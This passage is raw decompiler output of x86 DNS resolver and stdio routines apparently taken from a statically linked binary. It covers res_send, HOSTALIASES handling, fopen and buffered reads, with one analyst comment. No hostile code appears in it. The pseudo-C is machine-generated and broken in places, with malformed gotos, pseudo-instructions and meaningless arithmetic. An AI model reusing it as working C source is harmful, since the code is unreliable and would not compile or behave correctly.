            (save)A10;
            eax = edi;
            if(edi == 0) {
                eax = "<Nil>";
            }
            (save)eax;
            (save)A8;
            (save)";; res_querydomain(%s, %s, %d, %d)\n";
            L0804F7EC();
            esp = esp + 20;
        }
        if(edi == 0) {
            al = 0;
            edi = A8;
            asm("cld");
            ecx = -1;
            asm("repne scasb");
            edi = !ecx - 2;
            if(edi != -1) {
                if(*(edi + A8) != 46 || edi > 512) {
                    goto L0804e448;
                }
                L08056480(A8, & Vfffffdfc, edi);
                *(edi + & Vfffffdfc) = 0;
            } else {
L0804e448:
                esi = A8;
            }
        } else {
            sprintf( & Vfffffdfc, "%.*s.%.*s", 256, A8, 256, edi);
        }
        eax = L0804DFE0(esi, A10, A14, A18, A1c);
    }
    esp = ebp + -528;
}

/*	Procedure: 0x0804E48F - 0x0804E48F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804E48F()
{



}

/*	Procedure: 0x0804E490 - 0x0804E634
 *	Argument size: 4
 *	Local size: 1028
 *	Save regs size: 12
 */

L0804E490(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffbfc;
	/* unknown */ void  Vfffffc00;
	/* unknown */ void  Vfffffc01;
	/* unknown */ void  Vffffffff;



    if(!( *L0807854D & 16)) {
        eax = L08055668("HOSTALIASES");
        if(eax != 0) {
            edi = fopen(eax, "r");
            if(edi != 0) {
                L08054DF0(edi, 0);
                Vffffffff = 0;
                Vfffffbfc = & Vfffffc00;
                do {
                    if(L0804F5C4(Vfffffbfc, 1024, edi) == 0) {
                        goto L0804e620;
                    }
                    ebx = Vfffffbfc;
                    if(Vfffffc00 == 0) {
                        goto L0804e620;
                    }
                    edx = *L08078FA0;
                    if(!( *(edx + (Vfffffc00 & 255) * 2 + 1) & 32)) {
                        ebx = & Vfffffc01;
                        if(Vfffffc01 == 0) {
                            goto L0804e620;
                        }
                        if(!( *(edx + (Vfffffc01 & 255) * 2 + 1) & 32)) {
                            do {
                                ebx = ebx + 1;
                                if(*ebx == 0) {
                                    goto L0804e620;
                                }
                            } while(*(edx + ( *ebx & 255) * 2 + 1) & 32);
                        }
                    }
                    if(*ebx == 0) {
                        goto L0804e620;
                    }
                    *ebx = 0;
                } while(L080565F8(Vfffffbfc, A8) != 0);
                ebx = ebx + 1;
                eax = *ebx & 255;
                edx = *L08078FA0;
                if(!( *(edx + eax * 2 + 1) & 32)) {
                    do {
                        ebx = ebx + 1;
                    } while(*(edx + ( *ebx & 255) * 2 + 1) & 32);
                }
                if(*ebx != 0) {
                    edx = ebx + 1;
                    if(*(ebx + 1) != 0) {
                        eax = *(ebx + 1) & 255;
                        ecx = *L08078FA0;
                        if(!( *(ecx + eax * 2 + 1) & 32)) {
                            edx = ebx + 2;
                            if(*(ebx + 2) != 0 && !( *(ecx + ( *(ebx + 2) & 255) * 2 + 1) & 32)) {
                                do {
                                    edx = edx + 1;
                                    if(*edx == 0) {
                                        goto L0804e5f8;
                                    }
                                } while(*(ecx + ( *edx & 255) * 2 + 1) & 32);
                            }
                        }
                    }
L0804e5f8:
                    *edx = 0;
                    *L0807A857 = 0;
                    (save)255;
                    (save)ebx;
                    (save)0x807a758;
                    L0805680C();
                    (save)edi;
                    L0804F540();
                    eax = 0x807a758;
                    goto L0804e628;
                }
L0804e620:
                L0804F540(edi);
            }
        }
    }
    eax = 0;
L0804e628:
    esp = ebp + -1040;
}

/*	Procedure: 0x0804E635 - 0x0804E637
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804E635()
{



}

/*	Procedure: 0x0804E638 - 0x0804E691
 *	Argument size: 20
 *	Local size: 0
 *	Save regs size: 12
 */

L0804E638(A8, Ac, A10, A16, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A16;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;



    eax = A10;
    ebx = *L08078B14;
    if(!( *L0807854C & 2)) {
        (save)eax;
        eax = L080566A4();
        (save)eax;
        asm("xchg al,ah");
        eax = L0804F680(A8, "res_send: %s ([%s].%u): %s\n", Ac, L0805E984(A18), eax & 65535);
    }
    *L08078B14 = ebx;
}

/*	Procedure: 0x0804E692 - 0x0804E693
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804E692()
{



}

/*	Procedure: 0x0804E694 - 0x0804E6D4
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L0804E694(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;



    eax = A10;
    ebx = *L08078B14;
    if(!( *L0807854C & 2)) {
        eax = L0804F680(A8, "res_send: %s: %s\n", Ac, L080566A4(), eax);
    }
    *L08078B14 = ebx;
}

/*	Procedure: 0x0804E6D5 - 0x0804E6E6
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0804E6D5(A8)
/* unknown */ void  A8;
{



    *L0807853C = A8;
    return(*L0807853C);
}

/*	Procedure: 0x0804E6E7 - 0x0804E6F6
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0804E6E7(A8)
/* unknown */ void  A8;
{



    *L08078540 = A8;
    return(*L08078540);
}

/*	Procedure: 0x0804E6F7 - 0x0804E6F7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804E6F7()
{



}

/*	Procedure: 0x0804E6F8 - 0x0804E880
 *	Argument size: 4
 *	Local size: 32
 *	Save regs size: 12
 */

L0804E6F8(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    edx = A8;
    ecx = *edx;
    Vfffffff0 = ecx;
    Vfffffff4 = *(edx + 4);
    Vfffffff8 = *(edx + 8);
    Vfffffffc = *(edx + 12);
    esi = 0;
    Vffffffec = 0;
    if(*L08078550 > 0) {
        Vffffffe8 = ecx;
        ecx = 0x8078558;
        Vffffffe4 = 0x8078554;
        eax = *L08078550 & 3;
        if(*L08078550 > 0) {
            if(eax == 0) {
                goto L0804e7f0;
            }
            if(eax > 1) {
                if(eax > 2) {
                    if(*L08078554 == Vffffffe8 && ( *L08078558 == 0 || Vfffffff4 == *L08078558)) {
                        goto L0804e859;
                    }
                    ecx = ecx + 16;
                    Vffffffe4 = Vffffffe4 + 16;
                    Vffffffec = Vffffffec + 1;
                }
                if(*Vffffffe4 == Vffffffe8 && ( *ecx == 0 || Vfffffff4 == *ecx)) {
                    goto L0804e859;
                }
                ecx = ecx + 16;
                Vffffffe4 = Vffffffe4 + 16;
                Vffffffec = Vffffffec + 1;
            }
        }
        if(*Vffffffe4 == Vffffffe8 && ( *ecx == 0 || Vfffffff4 == *ecx)) {
            goto L0804e859;
        }
        ecx = ecx + 16;
        Vffffffe4 = Vffffffe4 + 16;
        Vffffffec = Vffffffec + 1;
        if(*L08078550 != Vffffffec) {
L0804e7f0:
            Vffffffe0 = ecx;
            edx = ecx;
            ecx = Vffffffe4;
            do {
                if(*ecx == Vffffffe8 && ( *edx == 0 || Vfffffff4 == *Vffffffe0) || *(ecx + 16) == Vffffffe8 && ( *(edx + 16) == 0 || Vfffffff4 == *(Vffffffe0 + 16)) || *(ecx + 32) == Vffffffe8 && ( *(edx + 32) == 0 || Vfffffff4 == *(Vffffffe0 + 32)) || *(ecx + 48) == Vffffffe8 && ( *(edx + 48) == 0 || Vfffffff4 == *(Vffffffe0 + 48))) {
                    goto L0804e859;
                }
                Vffffffe0 = Vffffffe0 + 64;
                edx = edx + 64;
                ecx = ecx + 64;
                Vffffffec = Vffffffec + 4;
            } while(*L08078550 != Vffffffec);
            goto L0804e875;
L0804e859:
            esi = esi + 1;
        }
    }
L0804e875:
    eax = esi;
    esp = ebp - 44;
}

/*	Procedure: 0x0804E881 - 0x0804E883
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804E881()
{



}

/*	Procedure: 0x0804E884 - 0x0804E941
 *	Argument size: 20
 *	Local size: 264
 *	Save regs size: 12
 */

L0804E884(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffef8;
	/* unknown */ void  Vfffffefc;



    esi = A14 + 12;
    ax = *(A14 + 4);
    asm("xchg al,ah");
    edi = ax & 65535;
    eax = edi;
    edi = edi - 1;
    if(eax > 0) {
        Vfffffef8 = & Vfffffefc;
        do {
            eax = L0804D02C(A14, A18, esi, Vfffffef8, 257);
            if(eax < 0) {
                goto L0804e8dd;
            }
            esi = esi + eax;
            L0804D6B8(esi);
            ebx = ax & 65535;
            esi = esi + 2;
            eax = L0804D6B8(esi) & 65535;
            esi = esi + 2;
            if(Ac == ebx && A10 == eax && L080565F8(Vfffffef8, A8) == 0) {
                goto L0804e924;
            }
            eax = edi;
            edi = edi - 1;
        } while(eax > 0);
        goto L0804e933;
L0804e8dd:
        eax = -1;
        goto L0804e935;
L0804e924:
        eax = 1;
    } else {
L0804e933:
        eax = 0;
    }
L0804e935:
    esp = ebp + -276;
}

/*	Procedure: 0x0804E942 - 0x0804E943
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804E942()
{



}

/*	Procedure: 0x0804E944 - 0x0804EA0A
 *	Argument size: 16
 *	Local size: 264
 *	Save regs size: 12
 */

L0804E944(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffef8;
	/* unknown */ void  Vfffffefc;



    esi = A8 + 12;
    ax = *(A8 + 4);
    asm("xchg al,ah");
    edi = ax & 65535;
    ax = *(A10 + 4);
    asm("xchg al,ah");
    if(edi != (eax & 65535)) {
L0804e974:
        eax = 0;
        goto L0804e9fe;
L0804e97c:
        eax = -1;
    } else {
        eax = edi;
        edi = edi - 1;
        if(eax > 0) {
            Vfffffef8 = & Vfffffefc;
            do {
                eax = L0804D02C(A8, Ac, esi, Vfffffef8, 257);
                if(eax < 0) {
                    goto L0804e97c;
                }
                esi = esi + eax;
                L0804D6B8(esi);
                ebx = ax & 65535;
                esi = esi + 2;
                eax = L0804D6B8(esi) & 65535;
                esi = esi + 2;
                if(L0804E884(Vfffffef8, ebx, eax, A10, A14) == 0) {
                    goto L0804e974;
                }
                eax = edi;
                edi = edi - 1;
            } while(eax > 0);
        }
        eax = 1;
    }
L0804e9fe:
    esp = ebp + -276;
}

/*	Procedure: 0x0804EA0B - 0x0804EA0B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804EA0B()
{



}

/*	Procedure: 0x0804EA0C - 0x0804F4F5
 *	Argument size: 16
 *	Local size: 600
 *	Save regs size: 12
 */

L0804EA0C(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffdac;
	/* unknown */ void  Vfffffdb0;
	/* unknown */ void  Vfffffdb4;
	/* unknown */ void  Vfffffdb8;
	/* unknown */ void  Vfffffdbc;
	/* unknown */ void  Vfffffdc0;
	/* unknown */ void  Vfffffdc4;
	/* unknown */ void  Vfffffdc8;
	/* unknown */ void  Vfffffdcc;
	/* unknown */ void  Vfffffdd0;
	/* unknown */ void  Vfffffdd4;
	/* unknown */ void  Vfffffdd8;
	/* unknown */ void  Vfffffddc;
	/* unknown */ void  Vfffffde0;
	/* unknown */ void  Vfffffde4;
	/* unknown */ void  Vfffffe04;
	/* unknown */ void  Vfffffe14;
	/* unknown */ void  Vfffffe16;
	/* unknown */ void  Vfffffe18;
	/* unknown */ void  Vffffffe6;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffdd4 = A8;
    Vfffffdd0 = A10;
    if(!( *L0807854C & 1) && L0804D744() == -1) {
        goto L0804f4e4;
    }
    if(*L0807854C & 2 || !( *L080786A5 & 16)) {
        L0804F680();
        L0805F1DC(A8, Ac, 0x8078750, 0x8078750, ";; res_send()\n");
    }
    Vfffffdbc = 0;
    if(*L0807854C & 8 || Ac > 512) {
        Vfffffdbc = 1;
    }
    Vfffffdcc = 0;
    Vfffffdc8 = 0;
    Vfffffdc4 = 110;
    Vfffffdb8 = 0;
    Vfffffdc0 = 0;
    if(*L08078548 > Vfffffdcc) {
        do {
            esi = 0;
            if(*L08078550 > 0) {
                do {
                    while(1) {
                        eax = Vfffffdb8;
                        asm("bt eax,esi");
                        if(!(Vfffffffc = (esi << 4) + 0x8078554)) {
                            break;
                        }
                        if(*L0807853C != 0) {
                            ebx = 0;
                            do {
                                edx = *( *L0807853C)( & Vfffffffc, & A8, & Ac, A10, A14, & Vfffffff8);
                                if(edx > 4) {
                                    goto L0804f4e4;
                                }
                                goto *(edx * 4 + 0x804eb5c)[L0804eb80, L0804eb0c, L0804eb70, L0804f448, L0804f4e4, ]goto ( *(edx * 4 + 0x804eb5c));
                                if(ebx + 1 > 41) {
                                    goto L0804f4e4;
                                }
                            } while(0 == 0);
                        }
                        if(!( *L0807854C & 2)) {
                            L0804F680(0x8078750, ";; Querying server (# %d) address = %s\n", esi + 1, L0805E984(), *(Vfffffffc + 4));
                        }
                        if(Vfffffdbc == 0) {
                            if(*L08078530 < 0 || *L08078538 != 0) {
                                if(*L08078538 != 0) {
                                    L0804F4F8();
                                }
				/* huh?  the next line is weird.  -thumper! */
                                eax = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
                                *L08078530 = eax;
                                if(*L08078530 < 0) {
                                    goto L0804f4c4;
                                }
                                *L08078534 = 0;
                            }
                            if(*L08078550 != 1) {
                                if(Vfffffdc0 != 0) {
                                    goto L0804efbc;
                                }
                                if(esi != 0) {
L0804efbc:
                                    if(*L08078534 != 0) {
                                        Vfffffe14 = 2;
                                        Vfffffe18 = 0;
                                        Vfffffe16 = 0;
                                        L08056ABC( *L08078530, & Vfffffe14, 16);
                                        *L08078534 = 0;
                                        *L08078B14 = 0;
                                    }
                                    if(Ac == sendto( *L08078530, A8, Ac, 0, Vfffffffc, 16)) {
                                        goto L0804f074;
                                    } else {
                                        goto L0804f02f;
                                    }
                                }
                            }
                            if(*L08078534 == 0) {
                                if(L08056ABC( *L08078530, Vfffffffc, 16) < 0) {
                                    goto L0804ef44;
                                }
                                *L08078534 = 1;
                            }
                            if(Ac != L08056BF0( *L08078530, A8, Ac, 0)) {
                                goto L0804efa3;
                            }
L0804f074:
                            edx = *L08078544 << Vfffffdc0;
                            Vfffffddc = edx;
                            if(Vfffffdc0 > 0) {
                                eax = edx;
                                asm("cdq");
                                *L08078550 = *L08078550 / *L08078550;
                                edx = *L08078550 % *L08078550;
                                Vfffffddc = eax;
                            }
                            if(Vfffffddc <= 0) {
                                Vfffffddc = 1;
                            }
                            Vfffffde0 = 0;
                            do {
                                edx = & Vfffffde4;
                                eax = 0;
                                ecx = 8;
                                edi = edx;
                                asm("cld");
                                asm("rep stosd");
                                eax = *L08078530;
                                asm("bts [ebp+0xfffffde4],eax");
                                ebx = select( *L08078530 + 1, edx, 0, 0, & Vfffffddc);
                                if(ebx >= 0) {
                                    if(ebx == 0) {
                                        goto L0804f118;
                                    }
                                    *L08078B14 = 0;
                                    Vfffffdd8 = 16;
                                    edx = L08056B90( *L08078530, A10, A14, 0, & Vfffffe04, & Vfffffdd8);
                                    Vfffffff8 = edx;
                                    if(Vfffffff8 <= 0) {
                                        goto L0804f18d;
                                    }
                                    Vfffffdcc = 1;
                                    if(*Vfffffdd0 == *Vfffffdd4) {
                                        if(*L0807854D & 4 || L0804E6F8( & Vfffffe04) != 0) {
                                            if(*L0807854D & 8 || L0804E944(A8, A8 + Ac, A10, A10 + A14) != 0) {
                                                goto L0804f2ac;
                                            }
                                            if(!( *L0807854C & 2) && *L080786A5 & 32) {
                                                continue;
                                            }
                                            (save)";; wrong query name:\n";
                                        } else {
                                            if(!( *L0807854C & 2) && *L080786A5 & 32) {
                                                continue;
                                            }
                                            (save)";; not our server:\n";
                                        }
                                        (save)0x8078750;
                                        L0804F680();
                                        (save)0x8078750;
                                        (save)Vfffffff8;
                                        (save)A10;
                                    } else {
                                        if(!( *L0807854C & 2) && *L080786A5 & 32) {
                                            continue;
                                        }
                                        (save)";; old answer:\n";
                                        (save)0x8078750;
                                        L0804F680();
                                        (save)0x8078750;
                                        (save)Vfffffff8;
                                        (save)A10;
                                    }
                                    L0805F1DC();
                                    esp = esp + 20;
                                    continue;
                                }
                            } while(*L08078B14 == 4);
                            goto L0804f106;
L0804f2ac:
                            dl = *(Vfffffdd0 + 3) & 15;
                            if(dl == 2 || dl + 252 <= 1) {
                                if(!( *L0807854C & 2)) {
                                    L0804F680();
                                    L0805F1DC(A10, Vfffffff8, 0x8078750, 0x8078750, "server rejected query:\n");
                                }
                                Vfffffdb8 = Vfffffdb8 | 1 << esi;
                                L0804F4F8();
                                if(*L080786A4 == 0) {
                                    goto L0804f450;
                                }
                            }
                            if(*L0807854C & 32 || *(Vfffffdd0 + 2) & 2) {
                                goto L0804f358;
                            }
                            if(!( *L0807854C & 2)) {
                                L0804F680(0x8078750, ";; truncated answer\n");
                            }
                            Vfffffdbc = 1;
                            L0804F4F8();
                            continue;
                        }
                        Vfffffdc0 = *L08078548;
                        Vfffffdb4 = 0;
                        if(*L08078530 >= 0) {
                            if(*L08078538 != 0) {
                                goto L0804ec86;
                            }
                            if(*L08078530 >= 0) {
                                L0804F4F8();
                            }
                        }
                        edx = socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
                        *L08078530 = edx;
                        if(edx < 0) {
                            goto L0804f4a4;
                        }
                        *L08078B14 = 0;
                        if(L08056ABC(edx, Vfffffffc, 16) < 0) {
                            goto L0804ec33;
                        }
                        *L08078538 = 1;
L0804ec86:
                        ebx = & Vffffffe6;
                        L0804D700(Ac & 65535, ebx);
                        Vffffffe8 = ebx;
                        Vffffffec = 2;
                        Vfffffff0 = A8;
                        Vfffffff4 = Ac;
                        (save)2;
                        (save) & Vffffffe8;
                        (save) *L08078530;
                        esp = esp + 20;
                        if(L08056E70() != Ac + 2) {
                            goto L0804ecca;
                        }
                        Vfffffdac = A10;
                        Vffffffe6 = 2;
                        do {
                            edi = Vfffffdac;
                            ebx = L0805730C( *L08078530, edi, Vffffffe6 & 65535);
                            if(ebx <= 0) {
                                goto L0804ed45;
                            }
                            Vfffffdac = edi + ebx;
                        } while(Vffffffe6 = Vffffffe6 - bx);
                        if(ebx > 0) {
                            goto L0804ed98;
                        }
L0804ed45:
                        ecx = *L08078B14;
                        Vfffffdc4 = ecx;
                        L0804E694(0x80787a4, "read failed", Vfffffdc4);
                        L0804F4F8();
                        esp = esp + 12;
                        if(Vfffffdc4 != 104 || Vfffffdc8 != 0) {
                            break;
                        }
                        Vfffffdc8 = 1;
                        L0804F4F8();
                    }
                    goto L0804eb0c;
L0804f02f:
                    edx = Vfffffffc;
                    (save) *(edx + 12);
                    (save) *(edx + 8);
                    (save) *(edx + 4);
                    (save) *edx;
                    (save) *L08078B14;
                    (save)"sendto";
                    goto L0804f04c;
L0804f18d:
                    (save) *L08078B14;
                    (save)"recvfrom";
                    goto L0804f193;
L0804f118:
                    if(!( *L0807854C & 2)) {
                        L0804F680(0x8078750, ";; timeout\n");
                    }
                    Vfffffdcc = 1;
                    goto L0804eb0c;
L0804f106:
                    (save) *L08078B14;
                    (save)"select";
                    goto L0804f193;
L0804efa3:
                    L0804E694(0x80787a4, "send", *L08078B14);
                    Vfffffdb8 = Vfffffdb8 | 1 << esi;
                    goto L0804f19d;
L0804ef44:
                    edx = Vfffffffc;
                    (save) *(edx + 12);
                    (save) *(edx + 8);
                    (save) *(edx + 4);
                    (save) *edx;
                    (save) *L08078B14;
                    (save)"connect(dg)";
L0804f04c:
                    (save)0x80787a4;
                    L0804E638();
                    Vfffffdb8 = Vfffffdb8 | 1 << esi;
                    goto L0804f065;
L0804ed98:
                    edx = L0804D6B8(A10) & 65535;
                    Vfffffff8 = edx;
                    if(Vfffffff8 <= A14) {
                        Vffffffe6 = Vfffffff8;
                    } else {
                        if(!( *L0807854C & 2)) {
                            L0804F680(0x8078750, ";; response truncated\n");
                        }
                        Vfffffdb4 = 1;
                        Vffffffe6 = A14;
                    }
                    Vfffffdac = A10;
                    if(Vffffffe6 != 0) {
                        do {
                            ebx = L0805730C( *L08078530, Vfffffdac, Vffffffe6 & 65535);
                            if(ebx <= 0) {
                                goto L0804ee38;
                            }
                            Vfffffdac = Vfffffdac + ebx;
                        } while(Vffffffe6 = Vffffffe6 - bx);
                    }
                    if(ebx > 0) {
                        goto L0804ee50;
                    }
L0804ee38:
                    eax = *L08078B14;
                    Vfffffdc4 = eax;
                    (save)Vfffffdc4;
                    (save)"read(vc)";
L0804f193:
                    (save)0x80787a4;
                    L0804E694();
                    goto L0804f19d;
L0804ecca:
                    eax = *L08078B14;
                    Vfffffdc4 = eax;
                    L0804E694(0x80787a4, "write failed", Vfffffdc4);
                    Vfffffdb8 = Vfffffdb8 | 1 << esi;
L0804f19d:
                    L0804F4F8();
                    esp = esp + 12;
                    goto L0804f450;
L0804ec33:
                    Vfffffdc4 = *L08078B14;
                    edx = Vfffffffc;
                    (save) *(edx + 12);
                    (save) *(edx + 8);
                    edx = *edx;
                    Vfffffdb0 = edx;
                    L0804E638(0x80787a4, "connect/vc", Vfffffdc4, Vfffffdb0, *(edx + 4));
                    Vfffffdb8 = Vfffffdb8 | 1 << esi;
L0804f065:
                    L0804F4F8();
                    esp = esp + 28;
                    goto L0804f450;
L0804eb0c:
                    L0804F4F8();
L0804f450:
                    esi = esi + 1;
                } while(*L08078550 > esi);
            }
            Vfffffdc0 = Vfffffdc0 + 1;
        } while(*L08078548 > Vfffffdc0);
        goto L0804f475;
L0804ee50:
        if(Vfffffdb4 != 0) {
            *(Vfffffdd0 + 2) = *(Vfffffdd0 + 2) | 2;
            if(!(Vffffffe6 = Vfffffff8 - A14)) {
                do {
                    ebx = 512;
                    if(Vffffffe6 <= 512) {
                        ebx = Vffffffe6 & 65535;
                    }
                    if(L0805730C( *L08078530, & Vfffffde4, ebx) <= 0) {
                        goto L0804f358;
                    }
                } while(Vffffffe6 = Vffffffe6 - bx);
            }
        }
L0804f358:
        if(*L0807854C & 2 || ( *L080786A4 & 8448) == 8448) {
            L0804F680(0x8078750, ";; got answer:\n");
        }
        if(*L0807854C & 2 || !( *L080786A5 & 32)) {
            L0804F680();
            L0805F1DC(A10, Vfffffff8, 0x8078750, 0x8078750, 0x8067ee3);
        }
        if(Vfffffdbc != 0 && ( *L0807854C & 8 || esi != 0)) {
            goto L0804f3d9;
        }
        if(!( *L0807854D & 1)) {
L0804f3d9:
            L0804F4F8();
        }
        if(*L08078540 != 0) {
            ebx = 0;
            do {
                edx = *( *L08078540)(Vfffffffc, A8, Ac, A10, A14, & Vfffffff8);
                if(edx > 4) {
                    goto L0804f4e4;
                }
                goto *(edx * 4 + 0x804f424)[L0804f448, L0804eb0c, L0804f438, L0804f448, L0804f4e4, ]goto ( *(edx * 4 + 0x804f424));
                if(ebx + 1 > 41) {
                    goto L0804f4e4;
                }
            } while(0 == 0);
        }
        eax = Vfffffff8;
    } else {
L0804f475:
        L0804F4F8();
        if(Vfffffdbc == 0) {
            if(Vfffffdcc == 0) {
                *L08078B14 = 111;
                goto L0804f4e4;
            }
            *L08078B14 = 110;
            goto L0804f4e4;
L0804f4a4:
            edi = *L08078B14;
            Vfffffdc4 = edi;
            (save)Vfffffdc4;
            (save)"socket(vc)";
L0804f4b6:
            L0804E694(0x80787a4);
            goto L0804f4e4;
L0804f4c4:
            eax = *L08078B14;
            Vfffffdc4 = eax;
            (save)Vfffffdc4;
            (save)"socket(dg)";
            goto L0804f4b6;
        }
        *L08078B14 = Vfffffdc4;
L0804f4e4:
        eax = -1;
    }
    esp = ebp + -612;
}

/*	Procedure: 0x0804F4F6 - 0x0804F4F7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804F4F6()
{



}

/*	Procedure: 0x0804F4F8 - 0x0804F530
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804F4F8()
{



    if(*L08078530 >= 0) {
        eax = close( *L08078530);
        *L08078530 = -1;
        *L08078534 = 0;
        *L08078538 = 0;
    }
}

/*	Procedure: 0x0804F531 - 0x0804F53F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804F531()
{



    return(0x8078544);
}

/*	Procedure: 0x0804F540 - 0x0804F5C0
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 8
 */

L0804F540(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  esi;



    if(A8 == 0 || ( *A8 & -65536) != -72548352) {
        *L08078B14 = 22;
        eax = -1;
    } else {
        if(!( *(A8 + 1) & 32)) {
            esi = L08060D44(A8);
        } else {
            esi = 0;
            if(!( *A8 & 32)) {
                esi = -1;
            }
        }
        *( *( *(A8 + 80) + 12))(A8);
        if(A8 != 0x80786fc && A8 != 0x8078750 && A8 != 0x80787a4) {
            L0805C290(A8);
        }
        eax = esi;
    }
}

/*	Procedure: 0x0804F5C1 - 0x0804F5C3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804F5C1()
{



}

/*	Procedure: 0x0804F5C4 - 0x0804F61E
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 8
 */

L0804F5C4(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    if(A10 == 0 || ( *A10 & -65536) != -72548352) {
        *L08078B14 = 22;
L0804f5ee:
        eax = 0;
    } else {
        if(Ac <= 0) {
            goto L0804f5ee;
        }
        eax = L0804F734(A10, A8, Ac - 1, 10, 1);
        if(eax == 0 || *A10 & 32) {
            goto L0804f5ee;
        }
        *(eax + A8) = 0;
        eax = A8;
    }
}

/*	Procedure: 0x0804F61F - 0x0804F61F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804F61F()
{



}

/*	Procedure: 0x0804F620 - 0x0804F67F
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 12
 */

fopen(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;



    ebx = L0805BD74(84);
    if(ebx == 0) {
        eax = 0;
    } else {
        (save)0;
        (save)ebx;
        L08061F34();
        *(ebx + 80) = 0x807902c;
        (save)ebx;
        L08060D24();
        (save)Ac;
        (save)A8;
        (save)ebx;
        esp = esp + 24;
        if(L08060E20() == 0) {
            L08061788();
            L0805C290(ebx, ebx);
            eax = 0;
        } else {
            eax = ebx;
        }
    }
}

/*	Procedure: 0x0804F680 - 0x0804F6D2
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 0
 */

L0804F680(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    if(A8 == 0) {
        *L08078B14 = 22;
        return(-1);
    }
    if(( *A8 & -65536) == -72548352) {
        return(L0804F888(A8, Ac, & A10));
    }
    *L08078B14 = 22;
    esp = ebp;
    return(-1);
}

/*	Procedure: 0x0804F6D3 - 0x0804F6D3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804F6D3()
{



}

/*	Procedure: 0x0804F6D4 - 0x0804F733
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 12
 */

L0804F6D4(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;



    edx = A14;
    ebx = Ac;
    edi = A10 * ebx;
    if(edx == 0 || ( *edx & -65536) != -72548352) {
        *L08078B14 = 22;
        eax = 0;
    } else {
        if(ebx == 0) {
            eax = 0;
        } else {
            eax = L08061D2C(edx, A8, ebx);
            if(ebx != eax) {
                edx = 0;
                edx = Ac / Ac % Ac / Ac;
            } else {
                eax = edi;
            }
        }
    }
}

/*	Procedure: 0x0804F734 - 0x0804F7EB
 *	Argument size: 20
 *	Local size: 8
 *	Save regs size: 12
 */

L0804F734(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = Ac;
    do {
        ebx = *(A8 + 8) - *(A8 + 4);
        if(ebx <= 0) {
            if(L08061A70(A8) == -1) {
                break;
            }
            ebx = *(A8 + 8) - *(A8 + 4);
        }
        if(A10 <= ebx) {
            ebx = A10;
        }
        esi = L080575C0( *(A8 + 4), A14, ebx);
        if(esi != 0) {
            goto L0804f78b;
        }
        L0805652C(Vfffffffc, *(A8 + 4), ebx);
